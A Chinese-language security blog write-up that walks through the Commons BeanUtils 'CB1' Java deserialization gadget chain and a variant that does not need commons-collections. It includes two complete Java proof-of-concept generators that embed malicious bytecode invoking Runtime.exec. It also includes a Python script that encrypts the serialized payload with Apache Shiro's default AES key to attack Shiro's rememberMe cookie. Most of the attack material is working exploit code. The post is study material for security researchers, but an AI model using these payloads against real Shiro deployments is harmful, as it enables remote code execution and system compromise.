1. <dependency>
  2. <groupId>commons-beanutils</groupId>
  3. <artifactId>commons-beanutils</artifactId>
  4. <version>1.9.3</version>
  5. </dependency>
  6. <dependency>
  7. <groupId>org.javassist</groupId>
  8. <artifactId>javassist</artifactId>
  9. <version>3.25.0-GA</version>
  10. </dependency>

CB1

什么是cb? Apache Commons BeanUtils 包括所有必要的java bean工具类。java bean简单定义为普通java类包括字段、set/get方法以及默认无参构造函数(摘自:Apache Commons BeanUtils 示例教程
什么是 Java Bean? 请:JavaBean

CB简单dom

package com.yq1ng.cb.dom;

/**
 * @author ying
 * @Description
 * @create 2021-11-28 11:19 PM
 */

public class Person {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

这就是一个简单的Bean,其属性为private,类中含有 get 和 set 方法去读取与设置属性。而其中的 get 和 set 方法又叫gettersettergetter方法以get开头,setter方法以set开头,均符合驼峰命名。
Apache Commons Beanutils提供了一个静态方法:PropertyUtils.getProperty,使用者可以使用这个方法调用任何JavaBean的getter方法,比如这样:PropertyUtils.getProperty(new Person(),"name"); 等同于 new Person().getName();

gadget

在cc2中我们使用了TransformingComparator->InvokerTransformer->TemplatesImpl#newTransformer() 去加载恶意的字节码,这里是BeanComparator#compare()->TemplatesImpl#getOutputProperties()->TemplatesImpl#newTransformer()
从cc2的TemplatesImpl#newTransformer()向上回溯,发现本类的getOutputProperties()调用了newTransformer(),且方法命名符合getter,那么是不是可以使用PropertyUtils.getProperty(new TemplatesImpl(),"OutputProperties");触发捏(能想到这样利用的人真是神嗷

小插曲,记录自己脑子抽风的。突然想为什么不能直接序列化TemplatesImpl实现加载任意字节码捏,原因是不能走到函数的嘞。。。傻了

image.png
在往上想,谁有调用了PropertyUtils.getProperty()捏,来瞅瞅org/apache/commons/beanutils/BeanComparator.java#compare()image.png
通过注释可以知道这个函数是比较两个javabean的共享属性(机翻,我是英语渣~)的,如果o1是TemplatesImpl对象就好了(谁是你的对象呢?)

构造poc

cc2的前半部分拿过来了

package com.yq1ng.cb;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

/**
 * @author ying
 * @Description
 * @create 2021-11-27 17:55
 */

public class CommonsBeanutils1 {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //cc.writeFile();
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "yq1ng");
        setFieldValue(templates, "_class", null);

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        //  不写文件了嗷
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

image.png
(Oh~you girl give that you~)
其实没啥说的,与cc2类似,无非是java/util/PriorityQueue.java#siftDownUsingComparator()comparator.compare()变了。这个链子真的有意思,竟然能联想到 getter ,一个字,绝!

CB不依赖CC

窘况

进入org/apache/commons/beanutils/BeanComparator.java看看其 import
image.png
cc赫然在列,但是shiro自身是不带cc的只有cb1.8.3
image.png
此时再用上面的poc就直接凉凉,所以还需要一条不需要cc的gadget
首先试试没有cc的shiro能不能打通,项目可以使用P神的shirodome,将maven的cc注释掉,然后启动项目打入上面的poc。poc加上System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));进行输出,然后使用下面的加密脚本进行加密(以前写的加密脚本,这里直接用了懒得整合到Java里面了哈哈哈

# -*- coding: utf-8 -*-
# @Author: ying
# @Date:   2021-11-30 17:16:05
# @Last Modified by:   ying
# @Last Modified time: 2021-11-30 17:16:07

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

key  =  "kPH+bIxk5D2deZiIxcaaaA=="
mode =  AES.MODE_CBC
IV   = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, IV)

payload=base64.b64decode(sys.argv[1])
BS   = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
payload=pad(payload)

print(base64.b64encode(IV + encryptor.encrypt(payload)))

打过去后并未弹出计算器,查看tomcat log发现报错了
image.png
serialVersionUID版本不对,这个在前面的文章说过了吧,不多逼逼。修改poc中的cb版本为1.8.3,再打发现不能加载org.apache.commons.collections.comparators.ComparableComparator,原因是shiro只包含一部分cc,所以报错了
image.png

破局

org/apache/commons/beanutils/BeanComparator.java中发现,当未传入Comparator的时候会调用这个类。但是现在没有这个类,需要找一个可以替换他的,P牛找到一个java/lang/String.java/CaseInsensitiveComparator,它是java.lang.String类下的一个内部私有类,实现了Comparator和Serializable,且位于Java的核心代码中,兼容性很强。
部分代码如下
image.png
可以看到,我们可以使用String.CASE_INSENSITIVE_ORDER来拿到这个私有类的实例,所以将cb1的poc中final BeanComparator comparator = new BeanComparator();改为有参就行final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);,运行后发现,报错了
image.png
原因是我们传入的比较器(comparator)是String类型的,queue.add却是int型的,这样当然不可以,所以更改queue.add(1);queue.add("1");即可,完整poc如下,记得使用加密脚本

package com.yq1ng.cb;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

/**
 * @author ying
 * @Description
 * @create 2021-11-30 5:27 PM
 */

public class CommonsBeanutils1Shiro {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //cc.writeFile();
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "yq1ng");
        setFieldValue(templates, "_class", null);

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        //  不写文件了嗷
        System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
//        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
//        ois.readObject();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

image.png

结语

cb看下来其实也不太难,但是通过改变实例化时使用的构造方法就能让整个链子不依赖某个第三方包这是很难想到的(只对于我来说,P牛知识星球中有人也发了其他利用方法,tql吧
image.png